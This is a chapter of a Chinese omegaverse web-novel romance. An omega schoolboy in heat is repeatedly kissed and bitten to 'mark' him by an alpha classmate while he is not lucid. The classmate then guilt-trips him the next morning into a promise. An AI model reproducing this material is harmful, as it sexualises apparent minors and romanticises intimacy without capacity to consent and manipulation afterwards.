匙越星期六给他发的消息他一直没回,等到早上的时候又给他发了一个消息。 星期六上午8:00 —sy1011:在吗? 星期六下午3:00 —sy1011:【地址】 —sy1011:这里。 星期六下午5:00 —sy1011:今天不亲吗? 星期天上午8:00 —sy1011:今天来吗? 星期天上午11:00 —sy1011:不是说来我家玩吗? —sy1011:呆萌小狼坐在地上丸子手抹泪.jpg —sy1011:Q口Q! 隽云看着后面这两个表情包,晕沉的脑子陷入了沉默,怀疑自己是不是烧坏脑子了。 看了眼匙越的头像,大面积的天空下看着远方, 远处的天际是蓝色的, 过渡到远方蓝色的天与白云交接铺在天上,天空将要黎明破晓,而那个人双手张开,站在屋顶看着远处,等待着太阳到来。 说实话,有点老土。 一般三四十的人才爱用这种天空背景头像吧。 隽云眯着眼,顶着发烧晕乎乎地辨认出, 图片中的背影应该就是他本人。 看着那个萌萌的小狼表情包,还有那个Q口Q!,隽云:“” 他忍不住眨了几下眼睛,有种在风中凌乱的感觉。 真没看错啊 用这么深沉头像的人,怎么老是发这么可爱的表情包给他啊? 说不清道不明的,隽云光是看着他的头像,仿佛就能透过那个身影闻到他身上的那股白兰地酒香气味。 鬼使神差地,隽云突然对他的气味有些渴望,喉咙上下滑动,他咽了咽口水,然后指尖动动,发过去的消息相比起匙越的可爱表情包仍旧显得十分冷酷:- 云:知道了。 * 下午三点,隽云到了东城区。 下过雨的石板路的缝隙里长满了杂草,柔软防水的运动鞋从豪华小轿车上伸下来,略微踌躇犹豫了一秒,脚尖转了点角度,踩在了一处还算干净的地方,旁边离得近的小水滩里倒映出他的模样。 身板端正挺立,穿着一身休闲的灰色连帽衫和灰色长裤,侧脸白皙,骨线清晰,眉眼清隽,只不过因为发烧,眼睛半睁着,显得有些没有精神,脸颊也有些不同寻常的潮红。 他侧过脸,对开车的人说了句:“李叔,我随便逛逛,晚点打电话给你。” 李叔是个beta,看着他的状态十分欲言又止,但想到保镖在不远处跟着,少爷不会有什么危险,终于还是没说什么,“诶”了一声就开车走了。 电线杆东倒西歪,上面贴了很多小广告,隽云站在阴凉地,迷茫地看了一会儿环境,拿着手机不知道该去哪。 所幸站了一会儿,匙越先发来消息问他在哪里。 隽云给他发了个定位,他感觉自己脑子有点晕,视线越来越模糊,呼吸也有点热。 大概是现在这个天气太热了吧。 他的发烧还没好全就出来,早知道就不来了。隽云心想。 这里太偏僻了,周围没看到什么人经过,于是他随便找了个阴凉地等了一会儿,就听到了匙越的声音从后方传来。 “来了?” 隽云转身,看到匙越穿着一身黑色的无袖短T恤,露出线条流畅肌肉精实的胳膊,更吸引他视线的是隽云发现他的耳朵上带着一枚黑色的耳钉,再往下,脖子上挂着一个粗银项链,在黑色的短t下衬托的还挺酷的。 匙越踩着地上的青苔从阳光下走到阴凉地:“等很久了吗?” 不知道是不是隽云的错觉,在看到匙越后他似乎蹭一下更热了,心里的防线降低,身体本能地朝他走近几步,意识到之后又硬生生克制住了。 他在干什么?? 脑子坏掉了吗? 隽云抿了抿唇,不自然地说:“走吧。” 努力和他保持点距离,可是总有若有若无的信息素味道飘来被他捕捉到,后颈处的腺体狠狠跳动了一下,体内骤然升腾上一股空虚的渴望。 两人并肩走着,匙越说:“等会要去的地方,车开不进来,所以就定位在这里了。” 隽云脑子里一团浆糊,根本听不见他在说什么,不由自主地往他的方向靠,整个人斜着走,低着头,心不在焉地胡乱“嗯嗯”了两声。 他们在一条还算宽的路上走着,转了个弯,地面稍微干净了一点,墙面上有小孩的随手涂鸦,还有烟熏火燎后留下的岁月痕迹。 匙越突然出声:“隽云。” 隽云盯着脚下的路专心走,他觉得他的脑子越来越沉,甚至有些嗡嗡响,呼吸带着潮热的沉重。 怎么办? 中午吃的退烧药好像不太管用。 隽云迟钝地想,听到有人叫他,反应慢了几拍才抬头,恰巧迎上一个冰凉的手,掌心贴上了他的额头。 手掌的温度比他的体温要低,覆盖在额头上很舒服,隽云就这么直愣愣地看着他,等到匙越收回手的时候,他有点舍不得地盯着他的手看了很久,等到那手垂下去后,才很失望地收回了视线。 匙越提醒他:“你身上的信息素在乱放,你不知道吗?” 隽云看着他的双唇一开一,好半天他才读懂他在说什么,呼吸沉重:“我” 他刚想说,他发烧了,但是他是专门吃了退烧药过来的,不知道为什么到现在还没好。 但是匙越为什么说他的信息素在乱放? 发烧怎么会引起信息素外泄? 隽云迟钝地转脑子,就在这时,他听到匙越冷静地打量他,像一个审判者对他下了最后的宣判,通知他一个非常糟糕的消息: “你发情了。” * 匙越他家的老宅并不太大,但是后面有一个独立的很小很小院子,院子里种了一颗大树,几乎涵盖了三分之二的地方。 旁边挨着拥挤的房屋,有相熟的邻居路过:“哟,匙家的小子回来了?” 见匙越领着一个omega,老伯愣了愣:“这是谁?” 匙越感觉到后背一热,是隽云靠了上来,单手拉着隽云的手腕,面不改色地把他拉开,然后说:“我同学。” “哟~匙越你小子!”邻居拿着扇子扇风,他打趣道:“什么同学往家里带啊?” 匙越笑了笑,没说话。 推开门,匙越拉着隽云进了屋子里。 松开他的手腕,匙越转过身将木门闸拉上,就在这时,感觉背上一重,腰上圈上来两只滚烫的手臂,他闻到了隽云衣服上的柔顺剂味道。 隽云的声音闷在他的后背,似乎有些难受,还夹杂着呼吸不过来的喘音,头抵着他的背: “你给我闻一下你的信息素。” 鼻尖擦过他的后背,从家里过来,路上耽搁的有点久,从身体深处传来的欲望几乎他整个人烧迷糊了,本能地朝着信息素最浓郁的腺体蹭过去。 软嫩白皙的脸滚烫,嘴唇若有若无地擦过皮肤,直到两瓣柔嫩的双唇,轻轻地碰到腺体。 “你在干什么?” 匙越的声音低沉,带着点呵斥的警告意味,他猛地转身,捂住他的口鼻。 隽云的脸被他抬着掐住,力道不大,嘴唇抵在他的手心,还有些湿漉漉,他抬着头,黑漉漉的眼珠显然有些涣散了,意志力很不集中地“唔唔”了几声。 柔软的脸颊大半被他捏着,潮红的脸像一颗水蜜桃,气息扑在手心上,湿湿的,匙越墨黑的眼眸凝视着他,手上用了点劲捏了捏,他才松开手。 他缓缓呼吸,控制自己的信息素慢慢往外放,让隽云慢慢适应。 隽云终于闻到了他的信息素,就像旅途焦渴的人终于品尝到了水源,他可以大口大口喝下。 葡萄酒夹杂着香草和焦糖的气味,醇厚的香中带了一丝甜味,他忍不住朝前走两步,抱住了匙越,埋在他的身上吸。 好好闻的气味 因为发情带来的燥热让隽云脑袋一片空白,脸完全埋在匙越的肩窝处,急促的呼吸打在他的身上,就这么抱了好一会儿,直到稍微有一点清醒了,他才生出一丝理智,勉强地把自己从他身上撕下来。 他是上过卫生课的,知道这样发情期这样骚扰一位alpha,不亚于邀请他上床。 即使他本人的真实意愿不是这样的。 不敢去看匙越此刻是什么表情,隽云看着他的耳钉,有点结巴地说: “卫生间在哪,我我去洗把脸。” 屋子有些背光,外面分明艳阳高照,屋子里却有些黑,隽云感觉匙越似乎偏过脸来,看了他好一会儿才说:“我带你去。” 屋子不大,进门是客厅,左边只有一间房,房门虚掩着,对面是一个很小的厨房,窗户是铁栏杆的样式,能看到对面别人家晾晒了衣服的阳台,阳光从这里照进来。 房子里没有闻到什么霉味,也没有预想中的蜘蛛丝,反而干净整洁,客厅虽然黑了点,但胜在布置温馨,倒也没什么好怕的。 匙越他真的害怕吗? 昏沉中,隽云突然冒出来这个想法。 客厅不大,摆了桌子和椅子,再大约站四五个人就能站满,隽云亦步亦趋地跟着匙越走,始终保持一步之内的距离,直到撞到他的后背。 匙越的喉头一滚:“洗手间就在这里。” 隽云慢慢拉开距离,后退了几步,有些恋恋不舍:“哦。” 墙上镶嵌的洗手台和墙接轨的地方大概是因为年份久远而砖块脱落,拧开水龙头,有水流出,隽云听到匙越的脚步声离去,他鞠了一手水,往自己脸上泼了一下,清凉的水流顺着绯红滚烫的脸颊流下去。 他觉得自己应该清醒一点。 房子小,到处都萦绕着匙越身上的气味,只是浓点和淡点的区别而已。 这个认知让隽云奇异地感到安心,身体窜上来的一股火和难受似乎有消减下去的意思。 看来是退烧药起作用了。 只是脖子后的腺体依旧发烫,脑袋也晕,隽云心想,现在他最重要的是找个地方睡觉,一觉醒来就会好了。 于是在征得匙越的同意后,他推开卧室的房门,整个人倒在了床上,闻着从门外飘进来的、令人安心的alpha的信息素味道倒头入睡了 快四点了,匙越出门了一趟,在附近的药店买了阻隔贴。 医生说隽云的身体情况特殊,不能给隽云打抑制剂,但是阻隔贴还是能贴的。 然后又顺路去熟悉的菜市场,买了点蔬菜和肉回来,准备做饭。 夕阳西斜,阳光照在他的身上,匙越低着头切菜,感觉有些热,他便将黑色的无袖T恤脱下来,拧了搭在肩膀上。 光线照在他线条流畅和壁垒分明的肌肉上,宽肩窄腰,拿着刀的手臂微微发力,青筋毕现,他神色认真,因为没有风扇,阳台也没有风吹过来,额头上浮现了一点细密的汗水。 omega信息素的味道从房间泄出,充满了整间屋子,也始终萦绕在匙越的鼻尖。 不知道什么时候起,信息素的味道变浓了,悄无声息的脚步在后面逼近,准确无误地找到了他的位置。 突然,一双柔软发烫的手环过他的腰,抱的牢固紧紧,说话的嗓音带着不清楚的迷糊,黏黏糊糊的,像是在梦中只能凭借本能找到那个能帮他的人: “我我好难受,你帮帮我” “” 匙越这才后知后觉,发情期的隽云似乎格外缠人。 一具柔软的身体带着滚烫的高温,从后面压上来。 浓郁的橄榄香气扑鼻,调情似的,匙越呼吸一滞,他放下手上的东西,转身接住扑倒的隽云。 隽云挂在他的身上,十分难受地半睁着眼睛,身体微微痉挛,似乎又热又难受,神志不清地一个劲地往他身上蹭。 “醒醒” 隽云毫无反应。 于是匙越抓住隽云的手臂,把他拎到客厅,让他坐在沙发上。 他的腿搁在隽云的两腿之间,就在他要起身去找抑制贴的时候,隽云猛地拉住他的手,把他整个人拽下来了 客厅,没有开灯,只有厨房传来的一点光线打在地上,两道人影在沙发上互相纠缠。 身下的人仰靠在沙发上,双腿大开,他只在刚开始有一点象征性地挣扎,感觉到身上人的软绵又强势的态度后就顺势倒下了。 匙越的手随性地搭在他的后颈处,那是介于一个把他推起来和压在他身上的姿势,眼眸沉沉地看着他。 而隽云怕他要走,于是两腿打开着,直接跪坐在他的身上。 他想要这个人的信息素。 他想要闻到这个人的味道。 他也不知道,为什么明明之前闻到匙越的信息素就很舒服了,但是现在却觉得不够了,远远不够。 长达一个月每天alpha给予的信息素浸泡,让他只要一闻到这个人的信息素,身体细胞都在叫嚣着渴望得到他,想要他。 像沙漠里的人长途跋涉,身体内起火,每一寸皮肤都焦灼,看到眼前这个人就像看到水源,不受控制地逐鹿、靠近,想让它浇在他身上熄灭身体里的火。 隽云的脸埋在他的脖颈处,蹭蹭匙越的颈侧,他一闻到后脖颈腺体里散发的味道就腿软,但是后背有个手撑着,让他不至于滑下沙发。 于是隽云就这这个姿势,膝盖抵在沙发上,小白鞋晃在半空中,脚尖都绷紧了,勾着脚尖弯着腿弯,有些难为情却急促而沙哑地说: “给我” 滚烫的气息拂在脖颈处,明晃晃的暗示。 “给你什么?” 谆谆诱导般好听的声音从上方传来,另一只手捏住他白净的下巴,将他的脸微微抬起,嗓音像一把钩子似地蛊惑人,不懂似地,又轻声重复了一遍: “你想要什么?” 匙越的脸庞近在眼前,隽云呼吸沉重又急促,双眼迷茫地看着他——那绝不是一个清醒理智的人会有的神色。 “我我想要” 他也不知道他想要什么,只是受情誉的热浪驱动,本能告诉他,要找眼前这个人帮他。 匙越也知道,因此他叹了一口气,在安静漆黑的环境下,格外明显。 为什么要叹气? 近在咫尺的呼吸暧昧缠绕,空气似乎都焦灼住了,隽云呼吸急促,理智完全归零,想要凑上去,刚一动作,那人微微往后一仰,躲开了。 为什么要躲? 隽云眼尾红了一片,不止是热的,还有迷茫和焦灼,体内烧起来的情誉被浇透,但是又不知道该怎么做才好。 透过的漆黑的空气胶质,隽云与匙越对视,看到他眼中冷静,却因为不清晰,而忽略了他掩藏在深沉眼眸下惊心动魄的暗流涌动。 看了半响,匙越才终于有动作,他抬起一只手,捻了一下隽云的眼尾: “哭什么?” 隽云吸了吸鼻子,他含着一点被逼出来的眼泪,张开嘴,恨恨地咬上了匙越的喉结,听到一阵喑哑而短促的吸气声后,他就松开,然后伸出舌头舔了舔。 隽云感觉护在自己手臂上的手紧了紧,掐着他的肉,力度有点大地箍得人疼。 但是他还是没有推开他。 像是一种变向的鼓励 于是隽云不得章法地一路亲上去,想要讨好他,从喉结到侧颈,浅浅地亲啄,又从颈侧亲上他的下巴,直到那两瓣薄唇。 隽云神色迷离,着迷地碰了上去,带着点孤注一掷的决心。 这回终于亲到了。 两瓣唇陷入柔软,信息素浓度很高地从唇间泄出,隽云舒服地浅浅地厮磨了一会儿,匙越捏着他的后颈拉开他,声音低沉道: “你知道你在干什么吗?” 隽云给他的回应是挣扎,匙越松了一点劲后他挣开他,扑向他的怀抱。 与此同时双唇与他紧紧相贴,于是匙越捏着他后脖颈的手改为摁,将他摁进自己怀里。 “你是在考验我的耐心。” 双唇厮磨,不再是克制的温柔,狼狗的凶狠残暴本性暴露,他毫不客气地咬开他的唇,撬开隽云的牙关,凶猛地长驱直入,大肆舔吮,汲取里面的蜜度。 “唔唔” 隽云呼吸一滞,迟钝的脑子也反应过来这人在亲他,在很用力地亲他。 他的舌尖动动,也学着他去纠缠他的舌尖。 感受到隽云在生涩地回应他,匙越摁着他的手更紧了,几乎要把他钉在怀里似的,毫不客气地享用着送上门的美味。 于是在匙越激烈的亲吻中,隽云头昏脑涨,尝到的信息素味道更浓,他急切地吞吃掉他的唾液,发出“咕啾咕啾”的声响,混合着沙发并不结实的晃荡音连绵起伏,让人脸红心跳。 匙越没穿上衣,后背有些刺痛,大约是隽云喘不上气了,短短的指甲挠人不是很痛,痒意和丁点的痛感刺激着匙越的神经末梢。 亲了十几分钟,匙越这才稍微松了点劲。 在这长达一个月的接吻里,向来都是蜻蜓点水点到为止,又或者温柔缱绻,片刻后就分开,然后二人分道扬镳。 从来没有这样激烈地吻过。 匙越喘着气,一双黑漆的眼眸紧紧盯着他,信息素互相影响下,审时度势地打量他的猎物,考虑要不要此刻下嘴将他拆吃入腹。 隽云的脸色比刚才还要红润许多,带着和刚才截然不同的红晕,唇上缠着透明丝液,呼吸凌乱,才分开了一会儿,就忍不住拽着他的衣服说: “还是不够我要,你帮帮我” 潜意识告诉他,这个alpha一定有办法的。 隽云想问,但他来不及说什么,就感觉到他被人堪称野蛮地扯开衣领,露出一截白皙软嫩的后颈。 满是热意的手掌上有茧,抚过后颈处冰凉顺滑的皮肤,带来一阵酥麻似的感受,直到摸到腺体,两个滚烫的东西重合,粗糙的茧子在柔嫩的腺体上刮擦,隽云浑身一颤,“呜”一声,软了腰肢倒在他的身上,额头抵在他的肩膀上,不住地喘息,浑身颤抖。 隽云脑子乱成了一团浆糊,樱红的双唇颤抖:“你你” 回应他的是alpha沉重的呼吸,良久,他抚过他红肿的腺体,双眼猩红地说: “你不清醒,帮不了。” 没等隽云反应理解消化他在说什么,就感觉到后脖颈一阵刺痛,他顿时睁大了眼睛,整个人如鲤鱼打挺一般顿时弹了起来。 (审核你好只是咬腺体标记!!!) 隽云的手抵在匙越的身上,手脚并用试图往后退,想要推开他,却被匙越牢牢地摁住,压进他的怀里。 隽云含在眼眶里的眼泪终于掉下来,红肿的双唇颤抖:“哈啊痛” 匙越的牙尖咬破他的腺体,快准狠地往里注射了很多信息素,隽云抗拒地推拒动弹,却被摁住。 皮肤大面积相触,各种磨蹭摩擦下,匙越被omega的信息素勾的几乎也要失了控。 好半响,怀里一直挣扎的人才逐渐消停下来,没了力气一样瘫倒了。 衣角因为乱动弹被卷了上去,露出一小节白皙嫩滑的腰,隽云的胸膛剧烈起伏,却手软脚软,没有一点力气软绵的趴在他的身上,只会不住地喘息: “哈啊哈” 匙越烙下标记后,舔去他沁出血滴的红肿腺体,一路顺着他的腺体亲上他的颈侧,捏捏他的后颈把他的脑袋从自己身上抬起来,双唇沿着颈线亲到下颌,再到唇瓣,反复含吮磨咬。(审核老师!没有写脖子以下!) 隽云半睁着眼,双眼微微有些失了焦距,腺体还在痛,他软着身体在匙越的怀里任他在颈侧再到锁骨、颈窝处落下一个个吻,他毫无知觉,也没有办法回应。 没力气地任凭匙越捏着他的下巴尖把他脸抬起来,和他鼻尖抵鼻尖亲了一会儿,隽云最终撑不住,在接吻中头一歪,倒在他宽阔的肩膀上,迷迷糊糊地睡了过去。 * 隽云的发情期来势汹汹,压抑了两年的发情期爆发,匙越只给了他一次的临时标记很快就失效了。 隽云睡了一会儿,没多久,体内的灼热就有卷土重来之际,于是抓住身边的热源,迷迷糊糊地朝着信息素最浓郁的地方凑过去,模糊中似乎听到了一声喑哑的嘶声,而后就是被拉开,后颈上再次传来一阵刺痛。 疼痛消弭后就是一阵清凉,似一捧水短暂地浇熄了体内的灼热,白兰地温和的信息素与橄榄的酸涩交融,最后他竟咂摸出了一丝甜味,好像他身上的橄榄味也不苦涩了,反而被酒味温的回甘香甜。 不是很沉稳地睡了一会儿,他似乎听到了门拉开的声音,还有卫生间传来了淅淅沥沥的水声。 隔得远了,信息素没有那么浓了,隽云不高兴地拧了拧眉毛,朦胧地睁开眼,朝着旁边还未消散地热源躺了过去,脸埋在下面,闻还没有消散的味道。 好热 为什么又这么热 等了很久,半睡半醒中似乎其实也没有过去很久,可能半个小时,一个小时 房门开了,带着清凉水汽的风吹了进来,隽云听到空调“滴”的一声,还有拖鞋汲拉的脚步声,紧接着,一床轻薄的被子扑在了自己身上。 但是,他很热,不需要被子。 感觉到散发着浓重信息素的东西靠近了,隽云的脸埋在匙越躺过的枕头里,半侧过脸来,一张脸憋的通红,一双含着水的眼眸微睁,就这么朦朦胧胧欲言又止地看着他。 体内的火又烧起来。 模糊视线中,那人似乎站在床边上看了他好一会儿,然后俯下身,清凉的水气就这么附在了自己的唇边,半含着他的唇,勾连他的舌尖轻柔地吮了一会儿。 夜凉如水,空调发出缓缓的送风响声,凉夜习习,缓缓吹到他们身上,万籁俱静,一切都既熨贴又安逸舒服。 亲了一会儿,匙越的唇流连到他的下巴、脖颈,顺着脖颈到耳垂的清瘦的线条一路吻过去,再把他侧过去,衣领勾下来一点,吻到他的后颈,叼住那一块早已破皮红肿腺体,往里又注射了一些信息素。 隽云在他咬下去的时候猛地抓住枕头,脸埋在枕头里发出一声小声的尖叫,指尖用力到发白,而后才渐渐虚脱,出了一些汗。 匙越把他的身体转过来,免得他被闷死,而隽云含着眼泪,胸膛剧烈地一起一伏。 匙越的指尖捻去他的眼泪。 每次被临时标记的时候,隽云的反应都会很大,十分抗拒,但是细弱喊声里又包含着点别的意味,像是痛,又像是舒服。 临时标记都是这个反应,如果终身标记的话,那会是怎么样? 匙越指尖沾上的眼泪往下,顺着隽云脸上的轮廓,抹到了他的红肿唇角上。 他散漫地发散思绪,又似乎并没有在意这个问题的答案,意味不明地呼出一口气后,他再次关上房门,出去了。 浴室里传来淅淅淋淋的水声,等到匙越再次带着一身水汽回来的时候,隽云已经睡下了。 太晚了。 匙越把他挪到里侧的位置,在外侧睡下了。 他在半夜被热醒了。 一睁眼就看到隽云趴在他的身上,小脸通红,浑身没骨头似地压着他,还在迷迷糊糊地闻他,身体软软却热度惊人。 匙越抬手,碰了碰隽云的额头,非常烫。 发烧了。 睡意一下消掉大半,匙越抬起他的脸来,隽云被摆弄也毫无知觉地闭着眼,整张脸睡的红扑扑,眼睫微颤,就连呼吸也不是很顺畅,在睡梦中睡得并不是很好。 大概是临时标记太多次引起的发烧。 “”匙越认命地起身,在家里翻找了一番,在床底的药箱找出了一包的退热剂。 他身体素质很好,自从十六岁腺体稳定成为一个成熟的alpha后就再没感冒发烧过,因此这些退热剂还是很多年前买的。 看了眼保质期,发现三年保质期,到现在快要临期了但好在还没过期,于是匙越起身,准备给隽云冲药。 饮水机不制热,要喝热水的话只能烧水了。 这个家他不常回来住,为了避免落灰,很多东西他都收起来了,要用的话需要翻找一会儿,于是他翻翻找找,把家里老式的烧水壶找出来。 洗过之后,匙越接了水,按下烧水键。 他只穿着一件黑色宽松长裤,头发蓬松,长长的额前发垂落遮盖住大半困倦的英俊脸庞,精瘦流畅的肌肉紧实覆盖在宽大骨骼上,收束在腰裤之下,像一把出鞘的利剑。 越过厨房的铁栅栏,能看到不远处的天空,夜色深深,月亮很圆,有星星挂在天上。 他懒散地靠在饮水机旁,望着厨房顶上的天空,听到烧水键跳闸的声音,叹了口气。 今晚应该睡不了了。 * “叮零零零零零零——” 闹铃的尖锐声音在室内突兀响起。 隽云能感觉到那铃声就在他耳边,被吵醒的时候,感觉他的身上有些重,腰上放了一个什么东西压着他 他手指动动,摸索过去,是热的 隽云猛地睁眼,映入眼帘的是一大块健硕的肌肤纹理,触感弹软,而他刚才枕在这个裸男身上睡觉。 腿部发力,隽云猛地一脚把这个人踢下了床。 随着“咚”一声响,那人掉在了地上,地上传来抽气声。 闹铃在房间里回响,隽云环顾四周,很老式的房子,一张床、一张桌子、一个放了很久的木柜子,顶上有一个泛黄的老式空调,除此之外就几乎再没有什么东西,比他卧室里的厕所都要小。 低头,上身的衣服皱皱巴巴,下摆卷起,腰露在外面,因为被人抱着睡了一个晚上,白皙的腰上掐出了红色的印子,卫衣领口扯开线了,大半的肩膀漏在外面,后颈的地方传来一阵一阵的跳动,他脸色不太好的伸手去摸。 “嘶”一碰就疼。 轻轻地摸了个大概,发现腺体破皮了,并且腺体旁边的皮肤也都是坑坑洼洼,四周没一块好肉。 “”隽云一抿嘴唇,觉得嘴唇很疼还有点麻,很有可能嘴巴也破皮了。 他上过卫生课,他这个情况 很有可能说明 隽云狠狠拧了拧眉。 他可能被人标记了。 隽云脸色很糟糕地攥紧了被子,被子是红色的鸳鸯戏水被,里面的棉被抽掉了,只有一个单薄的被套,隽云的脸色很白,嘴唇又红又肿,乌黑的发丝凌乱,他坐在床上呆了一会儿,颤着手,掀开了被子。 被子之下,他的裤子还老老实实地穿着。 呼出一口气,说不清是什么滋味,隽云呆呆地想,应该什么都没发生吧 “嗤,放心,没有终身标记。”旁边传来声音。 隽云僵硬地抬头,匙越不知道什么时候已经起来了,他绕到床的另一边拿起闹钟。 那是一个可爱的兔子形状的立式小钟,还没匙越手大,他在上面拍了一下,那响炸房间的铃声就停下来了。 没了闹铃的吵闹,整个房间顿时安静下来,呈现一种诡异的寂静无声。 隽云好半响,才强迫自己的视线从他后背上红色的可疑抓痕上移开。 应该不是他抓的, 吧 他一觉醒来什么都不记得了,他只记得昨天来找匙越,结果匙越告诉他他发情了,到他家后,匙越用信息素安抚了他,而他感觉有点晕就决定去睡觉了。 就一觉到今天早上了。 应该是这样才对。 但是,事情最终怎么会变成,他腺体破了,嘴唇破皮,身上酸痛,匙越光着上半身,身上还有那种痕迹? 没有最终标记,那他们到底做了什么? 隽云:“你是不是对我做了什么?” 有猜到隽云会翻脸不认人,匙越反问:“你怎么不问问你对我做了什么?” “你是alpha,我能对你做什么!?” 看着隽云逐渐漫上耳尖的红晕,以及睁大的黑白分明含着水汽的眼睛,匙越勾唇。 又忘了。 隽云第一次发情热的时候,也是这样,一觉醒来全忘光了。 匙越声音扬起,慢慢地说:“我对你做了什么?” 隽云坐在床上听着他说出个所以然。 “你趁我做饭的时候,跑过来抱我,我让你放手,你还抱着我不放还把我拽到沙发上,把我推倒,强亲我。” 这回隽云脸色出现一种茫然的空白。 “???” 这不可能是真的。 不可能。 他绝对不会这样做。 匙越继续慢条斯理地说:“你还求我,想要我标记你” “不可能!”这句话一出,隽云立马站起来,踩在床上反驳他。 站在床上就差不多和他一样高了。 “我当然不可能给你终身标记。”匙越顺势垂下眼睫,语气一转,很无可奈何的老实人模样: “但是我不给,你就一直亲我,还哼哼唧唧地抓我,没办法,我就只能给你临时标记了。” 隽云不相信他会这样,但偏偏匙越看着确实是被强迫的样子。 他上衣都没有穿,身上被挠的红痕很明显,头发比他还要凌乱,眼下有淡淡的乌青,双唇一闭一张,语气听起来状似很平静但能听到细微的颤抖,似乎对他不认账、不负责任而感到绝望: “可能因为你是第一次发情吧,和我的信息素匹配度太高了才会这样,我能理解的,你不想承认对我做了什么,我也能理解。”—— 作者有话说:星期五星期六先不更了呜呜,上夹子要压一下字数,星期天晚上十一点我将猛猛更新[求你了] 第25章 第二十五章 “你想要什么。” 匙越的话听着就像他是一个不负责任的渣男。 好大个帽子扣在他的头上。隽云惊呆了。 “你半夜总是醒来, 三番五次缠着我接吻,要我给你信息素医生说过你不能再打抑制剂了,所以也没有别的办法, 就只能反复把你标记了” 隽云的耳尖通红,神情尴尬, 脸颊轰一下地烧起来。 难怪他的腺体都破皮了。 匙越给的细节很多,隽云无言以对又有些不可置信。 但是他把一个一米九的alpha强迫了? 还是他主动的??? 这有点不太可能吧 “并且你发烧了,我就只能大半夜起来给你冲退热剂。”匙越补充说:“那时候是半夜三点了。” 咔哒一声, 隽云脑子宕机, 彻底不转了。 难怪匙越看上去那么疲惫,下巴上还长了青色的胡茬, 眼下还有黑眼圈,虽然说有种潦草的帅感,但是一看就是熬了个大夜才会这样。 “所以你觉得昨天结束后我们就结束一切关系?合适吗?”匙越认真盯着他说。 隽云破了皮的双唇微张:“我” 他脸上罕见的有些迷茫。 好像把人利用完了, 过完发情期了就把人踹开了确实不太合适 他又不是渣男。 没面对过这种局面,于是他咬了一下唇,语气稍微弱了一点,问:“那你想要什么?” 钱、车子甚至房子他都可以给。 “暂时标记会使得双方产生短时间的心理依赖,随着标记的次数增加心理依赖会逐渐增强。” 匙越占据上风位, 他扬着眉毛, 说出来的这句话和中小学卫生健康知识课本上写的分毫不差。 隽云知道他的意思,因为自己……发情了,强迫匙越安抚他,匙越不得已反复标记了他,导致匙越对他产生了依赖感。 他确实很坏。 本来可以划清界限了,因为这个事又有种扯不清的趋势。 他的衣领被扯大了,肩头歪斜, 隽云站在床上,他有些困难地硬着头皮提出解决办法: “我可以给你钱。” 匙越没有穿鞋站在地板上,板着脸背着自己小时候看过的狗血剧灰姑娘女主的台词,愤怒又委屈地斥责他: “你以为你有几个臭钱很了不起吗?” 匙越说:“钱是不能解决一切问题的。” 隽云生出一丝愧疚之心:“那你想怎么样?或者你要多少,我可以加钱。” 匙越冷哼一声,高傲地转过头,眼里浮现一丝笑,语气却满是鄙夷地说:“你以为我稀罕你的钱吗?我要你赔偿我的损失。” 隽云:“所以,你的意思是” 匙越拉开衣柜,他在衣柜里随便扯了件工字背心套上,遮盖住身上的痕迹,随口说出心里早就预设好的话: “我易感期的时候你也给我咬几口。” 末了,察觉气氛瞬间凝固,他补了一句:“因为这次临时标记了太多次,我对你产生了非同一般的依赖感,再闻别人的味道我会不习惯。” 又补了一句:“心理性排斥。” 他彬彬有礼地强调:“是基于信息素的影响 ,心理产生了点问题,希望你不要误会。” 隽云这才脸色好了点,他对匙越提出来的这个说法虽然有点异议,但基于公平原则,到时候匙越易感期发作起来需要信息素安抚的话,他也不是不能给他咬几口,就当给他解解牙痒了。 隽云从牙缝中挤出一句:“可以。” 只不过之前限定在周末就结束的关系,又要延长到匙越过完易感期了。 他强调:“不要被其他人发现我和你的关系。” 匙越说:“那是当然了,你以为我会缠着你吗?” “”隽云说:“好吧。” 匙越满意点头,他穿好衣服后,拿起床头柜上的手机看了眼屏幕上显示的时间,说: “现在快七点了,你去学校还来得及吗?” 隽云这才想起还有一个严峻的问题,他一个晚上都没有回去。 他理了理身上的衣服,把衣领拉好,然后在房间里找了一圈手机,最终在床上的一个角落找到了,把屏幕解锁,看上面的消息。 显示有好几个未接来电。 不过都是四五点左右打来的,那时他估计刚睡下后被吵醒了,就很烦躁地打回去说在同学家很安全,不要再给他打电话。 然后对面的电话才安静下来。 隽云去了一趟卫生间,洗了把脸,想刷个牙,发现只有一把牙刷,他探出头问匙越:“你有没有多余的牙刷?” “没有。”匙越说:“没想到你会在这里留宿,所以就没有准备。” 他也没想到他会发情。自觉理亏的隽云扭头回了厕所。 把门关上,隽云站在仅能容纳两个人的小厕所里思考了一会儿,出于洁癖,他也做不到拿别人的牙刷来刷牙,于是只能接了点水,浅浅的漱了个口。 这里也没有熨烫衣服的熨斗,于是他只能把身上的衣服尽量捋平整就打开门出去了。 太晚了,今天还要上课,再不去学校,他就要迟到了。 匆匆出门前匙越叫住他:“隽云。” 隽云停下脚步,回头看他:“怎么了?” 匙越将昨天从药店里买的药袋子打开,从里面拿了几个阻隔贴给他: “贴上这个,你发情期刚过,信息素还有些不稳定。” “哦”隽云拿过阻隔贴,拉开领子,他看不到地方,于是只能低着头,另一只手摸索着贴上去。 白嫩的后颈上星星点点的吻痕格外明显。 匙越星眸沉沉,双手环胸依靠在客厅墙边,他看到隽云的腺体周围有几个牙印,腺体确实是被他咬破皮了,还很红肿,里面灌满了他的信息素。 匙越看着隽云贴好,又把衣服重新拉上去,他目送隽云出了门 李叔接到隽云的电话让他来接她,他到达指定地点后就看到隽云站在那里等他。 李叔的神色有些奇怪,心想小少爷怎么把自己搞成这样子? 小少爷从来没有衣衫不整过,而此刻他看似正经,实际上头发有些乱,衣服领口有点歪,还有褶皱。 不过他的眼神相比刚来的时候清明了很多,看起来确实在同学家休息的很好。 李叔做了二十年司机,他是知道隽家管理严格的,他叹了口气,他没看到隽云和谁关系这么好过,就连文家少爷和陆家少爷都只是一起吃个饭宴会上互相送个礼物点到为止的关系而已。 现在有个关系这么好的同学,还专门来他家里玩,李叔有点欣慰,也是找到好朋友了啊。 李叔一脚油门将隽云送回了家里。 回到家后幸好他爸妈都不在,隽云洗了个澡,换上校服,然后出门去学校了。 他不能请假,一旦请假他爸妈那边就会知道,到那时他夜不归宿的事情就瞒不住了。 * 下午放学的时候,班主任老棠在班里宣布,FURST机器人竞赛今天会A市中心的一个创新产业园区举办,离学校不是很远,大概十几分钟的路程。 